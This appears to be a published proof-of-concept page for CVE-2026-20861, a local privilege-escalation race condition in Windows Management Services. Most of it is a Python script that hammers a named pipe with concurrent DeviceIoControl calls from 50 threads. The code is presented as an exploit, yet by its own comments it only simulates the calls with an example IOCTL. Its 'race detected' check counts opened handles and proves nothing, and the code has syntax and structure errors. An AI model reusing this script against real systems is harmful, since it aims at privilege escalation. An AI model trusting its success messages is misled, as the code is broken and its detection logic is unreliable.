Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Management Services allows an authorized attacker to elevate privileges locally.
The following code is for security research and authorized testing only.
python
# CVE-2026-20861 PoC - Race Condition in Windows Management Services
# This PoC demonstrates the race condition concept
# Actual exploitation requires specific Windows environment
import threading
import time
import ctypes
import sys
try:
kernel32 = ctypes.windll.kernel32
# Define necessary structures for Windows API calls
class SECURITY_ATTRIBUTES(ctypes.Structure):
_fields_ = [("nLength", ctypes.c DWORD),
("lpSecurityDescriptor", ctypes.c_void_p),
("bInheritHandle", ctypes.c_bool)]
def trigger_windows_management_race():
"""
Attempt to trigger race condition in Windows Management Services
This creates concurrent operations to exploit TOCTOU vulnerability
"""
results = {"success": 0, "failed": 0, "race_detected": False}
def concurrent_operation(thread_id):
"""Perform concurrent operation that may trigger race condition"""
try:
# Simulate Windows Management Services API calls
# In real attack, these would be actual WMS API calls
# Step 1: Open handle to Windows Management Service
handle = kernel32.CreateFileA(
b"\\\\.\\pipe\\WMIProvider",
0xC0000000, # GENERIC_READ | GENERIC_WRITE
0, # No sharing
None,
3, # OPEN_EXISTING
0x40000080, # FILE_FLAG_OVERLAPPED
None
)
if handle == -1:
results["failed"] += 1
return
# Step 2: Issue concurrent requests to trigger race
overlapped = ctypes.create_string_buffer(32)
# Rapid fire requests to increase race window
for _ in range(100):
kernel32.DeviceIoControl(
handle,
0x9A3C0004, # IOCTL_WMS_* (example)
None,
0,
None,
0,
None,
overlapped
)
kernel32.CloseHandle(handle)
results["success"] += 1
except Exception as e:
results["failed"] += 1
# Create multiple threads to maximize race condition probability
threads = []
for i in range(50):
t = threading.Thread(target=concurrent_operation, args=(i,))
threads.append(t)
t.start()
# Wait for all threads with tight synchronization
for t in threads:
t.join()
# Check if race condition was triggered
if results["success"] > 40:
results["race_detected"] = True
print("[+] Race condition potentially triggered")
else:
print("[-] Race condition not triggered, try again")
return results
def main():
print("=" * 60)
print("CVE-2026-20861 PoC - Windows Management Services Race Condition")
print("CVSS: 7.8 | Severity: HIGH")
print("=" * 60)
print("\n[*] Starting race condition exploitation...")
print("[*] This may require multiple attempts to trigger the vulnerability\n")
for attempt in range(5):
print(f"[*] Attempt {attempt + 1}/5...")
result = trigger_windows_management_race()
if result["race_detected"]:
print("\n[!] Race condition detected!")
print("[!] Privilege escalation may be possible")
break
time.sleep(0.5)
print("\n[*] PoC execution completed")
print("[*] Apply MS-2026-20861 patch to mitigate this vulnerability")
if __name__ == "__main__":
main()
except Exception as e:
print(f"[-] Error: {e}")
print("[-] This PoC requires Windows environment with WMI access")